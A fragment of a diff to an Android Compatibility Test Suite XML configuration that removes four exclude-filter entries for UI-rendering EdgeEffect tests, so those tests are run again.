<option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
@@ -233,12 +235,6 @@
<!-- b/38280830 -->
<option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
- <!-- b/63010438 -->
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.media.cts.android.uirendering.cts.testclasses.EdgeEffectTests#testOnPullWithDisplacement" />
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.media.cts.android.uirendering.cts.testclasses.EdgeEffectTests#testSetSize" />
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.media.cts.android.uirendering.cts.testclasses.EdgeEffectTests#testOnPull" />
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.media.cts.android.uirendering.cts.testclasses.EdgeEffectTests#testSetColor" />
-
<!-- b/63566721 -->
<option name="compatibility:exclude-filter" value="CtsWrapWrapDebugTestCases android.wrap.cts.WrapTest" />
